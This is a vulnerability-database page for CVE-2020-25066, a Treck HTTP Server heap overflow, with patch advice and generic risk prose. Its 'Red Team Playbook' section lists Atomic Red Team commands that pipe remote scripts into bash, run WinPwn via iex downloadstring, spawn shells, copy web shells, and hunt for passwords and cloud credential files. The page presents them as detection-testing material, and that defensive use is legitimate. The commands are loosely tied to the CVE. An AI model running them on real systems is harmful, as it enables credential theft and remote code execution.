CVE-2020-25066
Overview
This vulnerability is a heap-based buffer overflow occurring within the Treck TCP/IP stack's HTTP Server component prior to version 6.0.1.68. The flaw arises from improper bounds checking during processing of incoming HTTP requests, leading to memory corruption on the heap. The affected component is the Treck HTTP Server, which handles network-level HTTP traffic parsing and response generation.
Vulnerability Description
A heap-based buffer overflow in the Treck HTTP Server component before 6.0.1.68 allows remote attackers to cause a denial of service (crash/reset) or to possibly execute arbitrary code.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network to cause a denial of service by crashing or resetting the affected device. Additionally, the heap corruption may enable arbitrary code execution with system-level privileges due to the HTTP server's privileged context. The attack requires only network access (AV:N) and no user interaction (UI:N), with low attack complexity (AC:L) and no privileges required (PR:N), making it highly exploitable in exposed environments. This can lead to service disruption or full system compromise.
Solution
Users should upgrade the Treck TCP/IP stack to version 6.0.1.68 or later as specified in the vendor's vulnerability response information (https://treck.com/vulnerability-response-information/). NetApp customers are advised to apply the patches detailed in advisory NTAP-20210201-0003 (https://security.netapp.com/advisory/ntap-20210201-0003/). No interim workarounds are officially recommended; applying the vendor-supplied patches is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Treck HTTP Server component is characterized by a heap-based buffer overflow, a critical flaw that arises when a program writes more data to a buffer than it can hold. This overflow can lead to memory corruption, allowing attackers to manipulate the execution flow of the application. Specifically, the flaw exists in versions prior to 6.0.1.68, where improper handling of input data can be exploited. Attackers can craft specific HTTP requests that exceed the allocated buffer size, leading to unpredictable behavior, including application crashes or the potential execution of arbitrary code. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk to affected systems.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving remote access to the affected HTTP server. An attacker could initiate a denial-of-service (DoS) attack by sending specially crafted requests that trigger the buffer overflow, causing the server to crash or reset. In more sophisticated scenarios, an attacker might exploit the memory corruption to execute arbitrary code, potentially gaining unauthorized access to sensitive data or control over the system. This could lead to further network infiltration, lateral movement within the infrastructure, or the deployment of malware. The ability to execute arbitrary code remotely makes this vulnerability particularly dangerous, as it can be exploited without physical access to the affected systems.
The real-world impact of this vulnerability can be significant, especially for organizations that rely on the Treck TCP/IP stack in their embedded systems or IoT devices. A successful attack could result in prolonged service outages, loss of data integrity, and potential breaches of sensitive information. The business risks associated with this vulnerability include reputational damage, regulatory penalties, and financial losses due to downtime or remediation efforts. Moreover, the interconnected nature of modern networks means that a single compromised device can serve as a foothold for broader attacks, amplifying the potential consequences for organizations.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Treck HTTP Server component to the latest version is crucial, as it addresses the identified flaw. Additionally, organizations should employ intrusion detection systems (IDS) to monitor network traffic for signs of exploitation attempts, such as unusual patterns in HTTP requests. Conducting regular security assessments and penetration testing can also help identify and remediate vulnerabilities before they can be exploited by malicious actors. Furthermore, implementing network segmentation can limit the potential impact of an attack, isolating critical systems from less secure environments.
In conclusion, the heap-based buffer overflow in the Treck HTTP Server component represents a severe threat to organizations utilizing this technology. The potential for remote exploitation, coupled with the high impact on business operations, necessitates immediate attention and action. By prioritizing timely updates, employing robust detection mechanisms, and fostering a culture of security awareness, organizations can significantly reduce their risk exposure and enhance their overall cybersecurity posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Treck | Tcp\/ip | All |
cpe:2.3:a:treck:tcp\/ip:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-25066 |
| treck.com |
GitHub CVE
x_refsource_CONFIRM
|
https://treck.com/vulnerability-response-information/ |
| security.netapp.com |
GitHub CVE
x_refsource_CONFIRM
|
https://security.netapp.com/advisory/ntap-20210201-0003/ |